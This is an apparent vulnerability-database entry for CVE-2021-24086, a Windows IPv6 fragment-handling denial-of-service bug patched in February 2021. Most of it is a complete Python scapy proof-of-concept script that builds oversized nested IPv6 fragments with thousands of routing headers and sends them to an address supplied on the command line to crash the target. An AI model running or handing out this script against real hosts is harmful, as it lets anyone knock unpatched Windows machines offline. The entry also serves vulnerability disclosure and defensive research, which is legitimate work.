vulnerability:exploitability=documented vulnerability:information=PoC

Created on 2024-08-28 09:53 and updated on 2024-08-30 12:27.

Description

Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows.

This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.

Proof of Concept

```python import sys import random

from scapy.all import *

FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8

NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58

def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472

return raw(er)

def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()

# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))

# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)

return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id

def send_last_inner_fragment(target_addr, inner_frag_id):

raw_er = get_layer4()

ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])

def trigger(target_addr):

inner_packet, inner_frag_id = get_inner_packet(target_addr)

ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)

outer_frag_id = random.randint(0, 0xffffffff)

fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
    fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])

if len(inner_packet) % FRAGMENT_SIZE:
    fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])


print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
    if i == len(fragmentable_part) - 1:
        more = 0
    else:
        more = 1

    FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)

    blob = raw(FH/fragmentable_part[i])
    frag_offset += FRAGMENT_SIZE

    frags_to_send.append(ip/hopbyhop/blob)


print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
    send(frag)


print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)

if name == 'main': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```


Associated vulnerability

CVE-2021-24086

Meta

[
  {
    "tags": [
      "vulnerability:exploitability=documented",
      "vulnerability:information=PoC"
    ]
  }
]

Author

Cédric Bonhomme